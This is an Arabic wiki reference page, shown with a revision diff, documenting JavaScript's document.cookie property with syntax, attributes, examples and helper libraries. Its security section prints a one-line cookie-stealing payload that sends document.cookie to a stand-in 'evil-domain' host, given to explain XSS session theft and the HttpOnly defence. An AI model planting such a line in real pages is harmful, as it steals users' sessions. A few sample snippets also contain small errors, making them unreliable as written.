الفرق بين المراجعتين لصفحة: «JavaScript/Document/cookie»
إكمال المراجعة |
جميل-بيلوني (نقاش | مساهمات) طلا ملخص تعديل |
||
(مراجعة متوسطة واحدة بواسطة مستخدم واحد آخر غير معروضة) | |||
سطر 1: | سطر 1: | ||
<noinclude>{{DISPLAYTITLE:<code>Document.cookie</code>}}</noinclude> | <noinclude>{{DISPLAYTITLE:<code>Document.cookie</code>}}</noinclude> | ||
تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط ( | تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط (cookies) المُرتبطة بالمُستند الحالي وضبطها، للتعامل مع ملفّات الارتباط ببساطة أكثر، انظر إطار العمل البسيط [https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework هذا]. | ||
==البنية العامة== | ==البنية العامة== | ||
===الحصول على جميع ملفّات تعريف الارتباط المتاحة=== | ===الحصول على جميع ملفّات تعريف الارتباط المتاحة=== | ||
سطر 29: | سطر 29: | ||
alert(document.cookie); | alert(document.cookie); | ||
} | } | ||
</syntaxhighlight>شيفرة HTML:<syntaxhighlight lang="html"> | </syntaxhighlight>شيفرة [[HTML]]:<syntaxhighlight lang="html"> | ||
<button onclick="alertCookie()">اعرض ملفّات الارتباط</button> | <button onclick="alertCookie()">اعرض ملفّات الارتباط</button> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
سطر 125: | سطر 125: | ||
/* Let us be in /JavaScript/Document/document.cookie */ | /* Let us be in /JavaScript/Document/document.cookie */ | ||
console.log(location.pathname); | |||
// /JavaScript/Document/ | // /JavaScript/Document/cookie | ||
console.log(relPathToAbs("./")); | |||
// /JavaScript/Document/ | // /JavaScript/Document/ | ||
console.log(relPathToAbs("../Object/toString")); | |||
// /JavaScript/Object/toString | // /JavaScript/Object/toString | ||
console.log(relPathToAbs("../../Bootstrap")); | |||
// /Bootstrap | // /Bootstrap | ||
console.log(relPathToAbs("../Object/./toString/../../../Bootstrap")); | |||
// /Bootstrap | // /Bootstrap | ||
</syntaxhighlight> | </syntaxhighlight> |
المراجعة الحالية بتاريخ 14:34، 7 أكتوبر 2022
تُستعمل هذه الخاصيّة للحصول على ملفّات الارتباط (cookies) المُرتبطة بالمُستند الحالي وضبطها، للتعامل مع ملفّات الارتباط ببساطة أكثر، انظر إطار العمل البسيط هذا.
البنية العامة
الحصول على جميع ملفّات تعريف الارتباط المتاحة
allCookies = document.cookie;
المُتغيّر allCookies
أعلاه عبارة عن سلسلة نصيّة تحتوي على قائمة بجميع ملفات الارتباط مفصولة بفاصلة منقوطة (;
)، وهي على شكل مفتاح=قيمة
.
ضبط ملفّ ارتباط جديد
document.cookie = newCookie;
في الشيفرة أعلاه، المُتغيّر newCookie
عبارة عن سلسلة نصيّة على شكل مفتاح=قيمة
. لاحظ أنّك تستطيع أن تضبط أو تُحدّث ملفّ ارتباط واحد فقط في كل مرّة باستعمال هذه الطّريقة. وضَع في ذهنك ما يلي كذلك:
- يُمكن لأيّ من قيم خصائص ملفّات الارتباط التّالية أن تتبَع اختياريًا زوج المفتاح وقيمته، وذلك عبر تحديد ملفّ الارتباط المُرادِ ضبطه أو تحديثه ويجب على قيم الخصائص هذه أن تُسبَق بفاصلة منقوطة كفاصِل:
-
;path=path
(يقبل قيمًا مثل'/'
و'/mydir'
)، إن لم تُحدَّد أيّة قيمة، فقيمته الافتراضيّة هي المسار الحاليّ لمكان المُستند الحاليّ. يجب على المسار أن يكون مُطلقًا (absolute)، انظر RFC 6265. للمزيد من المعلومات حول كيفيّة استعمال المسارات النسبيّة (relative paths)، انظر هذه الفقرة. -
;domain=domain
(يقبل قيمًا مثل'example.com'
أو'subdomain.example.com'
). إن لم تحدَّد أيّة قيمة، فقيمته الافتراضيّة هي جزء المُضيف الخاصّ بمكان المُستند الحالي (لا يشمل النّطاقات الفرعيّة). وعلى عكس المُواصفات السّابقة، فالنّقط التي تسبق أسماء النّطاقات (leading dots) ستُتجاهل، لكنّ المتصفحات قد تمنع ضبط ملفّ ارتباط يحتوي على هذه النّقط. إن حُدِّد النّطاق، فالنّطاقات الفرعيّة دائما ما تكون مشمولة. -
;max-age=max-age-in-seconds
عدد الثواني التي سيكون فيها ملفّ الارتباط صالحًا، يُمكن أن تكون قيمته مثلا60*60*24*365
أو31536000
ليكون ملفّ الارتباط صالحا لسنة واحدة. ;expires=date-in-GMTString-format
تُحدّد تاريخ انتهاء صلاحيّة ملفّ الارتباط، إن لم تُضبَط قيمةٍ لأي منexpires
أوmax-age
فستنتهي صلاحيّة ملفّ الارتباط في نهاية الجلسة. انظرDate.toUTCString()
لفهم كيفيّة تحويل تاريخٍ إلى قيمة تُمثِّل التاريخ في توقيت UTC (وهي الصّيغة المطلوبة لهذه الخاصيّة). مُلاحظة: عندما تكون المعلومات الخاصّة بالمُستخدم حسّاسة فمن المهم على تطبيق الويب الخاص بك أن يُنهيَ صلاحيّة بيانات ملفّ الارتباط بعد مُدّة زمنيّة مُعيّنة، لا يجب أبدا الاعتماد على المُتصفح ليُزيل ملفات الارتباط الخاصّة بالجلسة، إذ إنَّ بعض المتصفحات تمنع ملفات الارتباط من أن تنتهي صلاحيّتها أبَدِيًّا.-
;secure
السماح لملفّ الارتباط أن ينتقل فقط على بروتوكول آمن مثل https.
-
- يُمكن للسلسة النصّية التي تُمثّل قيمة ملفّ الارتباط أن تستعمل الدالة
encodeURIComponent()
للتأكد من أنّ السلسلة النّصية لا تحتوي على أية فاصلة أو فاصلة منقوطة أو مساحة بيضاء (والتي تعدّ قيمًا غير مسموح بها في قيم ملفّات الارتباط). - بعض المتصفحات تدعم السابِقات التّاليّة لملفّات الارتباط:
-
__Secure-
تُخبِر المُتصفح بوجوب وضع ملفّات الارتباط المنقولة على قناة آمنة فقط في الطّلبات. -
__Host-
تُخبِر المُتصفح بأنّ امتداد ملفّ الارتباط محدود في مسار يُمنح من طرف الخادم إضافةً إلى وجوب كون ملفّ الارتباط من أصل آمن. إن لم يمنح الخادم المسار، فستُستعمل قيمة عنوان URI الخاصّ بمُجلّد الطّلب. وتُخبر كذلك المُتصفحَ بأنّ خاصّية النّطاقdomain
لا يجب أن تُضبَط، ما يمنع إرسال ملفّ الارتباط إلى نطاق آخر. يجب على خاصّية المسارpath
أن تُساويَ دائمًا الأصل في مُتصفّح Chrome. مُلاحظة: تعدّ الشرطة (-) جزءًا من السّابقة (prefix). ويُمكن لهذه السّابقات أن تُضبط فقط في حالة ضُبِطت الخاصيّةsecure
كذلك.
-
مُلاحظة: كما ترى من الشيفرة أعلاه، الخاصيّة document.cookie
عبارة عن خاصيّة وصول (accessor property)، وفيها دالة getter ودالة setter، ما يعني أنّها ليست خاصيّة بيانات (data property) ذات قيمة: أي أنّ ما تكتبُه ليس نفسه ما تقرأه، ويتوسّط مُفسّر JavaScript في كلّ شيء على الدّوام.
أمثلة
استعمال بسيط للخاصية
document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
alert(document.cookie);
}
شيفرة HTML:
<button onclick="alertCookie()">اعرض ملفّات الارتباط</button>
الحصول على ملف ارتباط باسم test2
document.cookie = "test1=Hello";
document.cookie = "test2=World";
var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
function alertCookieValue() {
alert(cookieValue);
}
شيفرة HTML:
<button onclick="alertCookieValue()">اعرِض قيمة ملفّ الارتباط</button>
القيام بعمليةٍ ما لمرة واحدة فقط
لاستعمال الشّيفرة التّالية، تأكّد من إبدال جميع مواضِع اسم ملفّ الارتباط doSomethingOnlyOnce
، باسم ملفّ الارتباط الخاص بك.
function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
alert("Do something here!");
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
}
شيفرة HTML:
<button onclick="doOnce()">أجرِ عمليّة لمرّة واحدة فقط</button>
إعادة ضبط ملف الارتباط السابق
function resetOnce() {
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
شيفرة HTML:
<button onclick="doOnce()">أعد ضبط ملفّ الارتباط الخاصّ بإجراء عمليّة لمرّة واحدة فقط</button>
التحقق من وجود ملف ارتباط
تتحقّق الشّيفرة أسفله من وجود ملفّ ارتباط باسم "reader"
.
if (document.cookie.split(';').indexOf('reader=') >= 0) {
console.log('ملفّ الارتباط موجود')
}
التحقق من أن ملف ارتباط يحمل قيمة محددة
تتحقّق الشّيفرة أسفله من أنّ ملفّ الارتباط ذا الاسم "reader"
يحمل القيمة 1
.
if (document.cookie.split(';').indexOf('reader=1') >= 0) {
console.log('قيمة ملفّ الارتباط هي 1')
}
الحماية
من المُهمّ التنويه إلى أنّ خاصيّة المسار لا تحمي ضدّ قراءة ملفّ الارتباط بشكل غير مُصرَّح به من مسار مُختلف. يُمكن تجاوز هذا القيد بسهولة عبر استخدام خصائص DOM، على سبيل المثال، يُمكن القيام بذلك عبر إنشاء عنصر iframe
مخفي بمسار ملفّ الارتباط، ثمّ الوصول إلى خاصيّة contentDocument.cookie
الخاصّة بعنصر iframe
. الطريقة الوحيدة لحماية ملفّ الارتباط هي باستعمال نطاق مُختلف أو نطاق فرعي، وذلك بسبب سياسَة الأصل الواحد.
تُستعمل ملفّات الارتباط في تطبيقات الويب عادةً للتعرّف على مُستخدم وجلسة الاستيثاق (authenticated session) الخاصّة به. لذا فسرِقة ملفّ الارتباط من تطبيق ويب سيؤدّي إلى سرقة جلسة المُستخدم الذي سجّل دخوله. الطرائق الشّائعة لسرقة ملفّات الارتباط تشمل الهندسة الاجتماعيّة أو عبر استغلال ثغرة XSS في التّطبيق. انظر المثال التّالي:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
يُمكن تخفيف خطر هذا الهجوم عبر ملفّ الارتباط HTTPOnly
عن طريق منع الحصول على قيمة ملفّ الارتباط من خلال JavaScript. للاستزادة، انظر إلى Cookies and Security.
ملاحظات
- بدءًا من فايرفوكس 2، هناك طريقة أفضل لتخزين المعلومات على جهة العميل، وذلك عبر استعمال تخزين DOM.
- يُمكنك ببساطة حذف ملفّ ارتباط عبر تحديث تاريخ نهاية صلاحيّته إلى صِفر.
- تذكّر بأنّه كلّما زاد عدد ملفّات الارتباط لديك، كلّما وجَب نقل بياناتٍ أكثر بين الخادوم والعميل لكل طلب. مما سيُبطئ الطّلبات. لذا من المنصوح به جدّا استعمال تخزين DOM إن كانت لديك بيانات تُريد تخزينها على جهة العميل فقط.
- تُحدّد مواصفة RFC 2965 (الفقرة 5.3) بأنّه لا يجب أن يكون لقيمةِ أو مفتاحِ ملف ارتباطٍ طول أقصى (maximum length)، وتُشجّع كلّ مُتصفح على دعم ملفّات ارتباط كبيرة ذات حجم اعتباطي. الطول الأقصى يكون مُختلفًا حسب المُتصفّح، لذا انظر توثيق كلّ متصفّح بشأن هذا الأمر.
سبب البنية العامّة لخاصيّة الوصول document.cookie
يرجِع إلى طبيعة ملفّات الارتباط التي تعتمد على صيغة خادم-عميل، ما يختلف عن طرق تخزين أخرى تعتمد على صيغة عميل-عميل كالتّخزين المحلي (localStorage
) مثلًا.
يأمر الخادمُ العميلَ بتخزين ملفّ ارتباط كما يلي:
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
[مُحتويات الصّفحة هنا]
يُعيد العميل إرسال ملفّ الارتباط الذي خزّنه مُسبقا إلى الخادم:
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
استعمال عناوين URL النّسبية مع المُعامل path
يقبل المُعامل path
الخاصّ بملفّ ارتباط جديد المسارات المُطلقة فقط. إن أردت استعمال المسارات النّسبية، فستحتاج إلى تحويلها إلى مسارات مُطلقة. يُمكن للدّالة التّالية ترجمة المسارات النّسبية إلى مسارات مُطلقة. وهي دالة مُتعدّدة الأغراض (أي أنّها ليست متعلّقة بملفات الارتباط فقط)، لكنّك تستطيع استعمالها مع المُعامل path
الخاصّ بملفّ ارتباط جديد بنجاح كذلك.
المكتبة
/*\
|*|
|*| :: Translate relative paths to absolute paths ::
|*|
|*| https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
|*| https://developer.mozilla.org/User:fusionchess
|*|
|*| The following code is released under the GNU Public License, version 3 or later.
|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
\*/
function relPathToAbs (sRelPath) {
var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
}
return sDir + sPath.substr(nStart);
}
طريقة الاستعمال
نفترض أنّنا في المسار /JavaScript/Document/document.cookie
، التّعليقات أسفل كلّ استدعاءٍ لنافذة التنبيه تُمثّل القيمة المُعادة.
/* Let us be in /JavaScript/Document/document.cookie */
console.log(location.pathname);
// /JavaScript/Document/cookie
console.log(relPathToAbs("./"));
// /JavaScript/Document/
console.log(relPathToAbs("../Object/toString"));
// /JavaScript/Object/toString
console.log(relPathToAbs("../../Bootstrap"));
// /Bootstrap
console.log(relPathToAbs("../Object/./toString/../../../Bootstrap"));
// /Bootstrap
أمثلة أخرى
مكتبة عامة لتنفيذ عملية لمرة واحدة فقط
المكتبة
function executeOnce () {
var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
if (bImplGlob) { argc++; }
if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
var fExec = arguments[0], sKey = arguments[argc - 2];
if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
return true;
}
البنية العامة
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
الوصف
تُنفِّذ عمليّةً مرّةً واحدةً فقط، حتى بعد تحديث الصّفحة.
المُعاملات
callback
- الدّالة المُراد تنفيذها (function).
thisObject
argumentToPass1, argumentToPass2, argumentToPassN
- مُعاملات الدّالة
callback
. وهي مُعاملات اختياريّة.
identifier
- المُعرّف الذي يُتحقّق منه، أي اسم ملفّ الارتباط (
string
).
onlyHere
- قيمة منطقيّة
Boolean
تُعبّر عمّا إذا كان ملفّ الارتباط سيستعمل المسار المحليّ (أي القيمةtrue
) عوضا عن المسار العمومي (القيمةfalse
أوundefined
)، (إمّاboolean
أوundefined
). وهو مُعامل اختياريّ.
طريقة الاستعمال
function alertSomething (sMsg) {
alert(sMsg);
}
executeOnce(alertSomething, null, "مرحبًا بالعالم", "alert_something");
دعم المتصفحات
الميزة | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari |
---|---|---|---|---|---|---|
الدعم الأساسي | نعم | نعم | نعم | نعم | نعم | نعم |
max-age
|
نعم | لا | نعم | لا | نعم | نعم |
السّابقتان __Host- و__Secure-
|
49 | ؟ | ؟ | لا | نعم | نعم |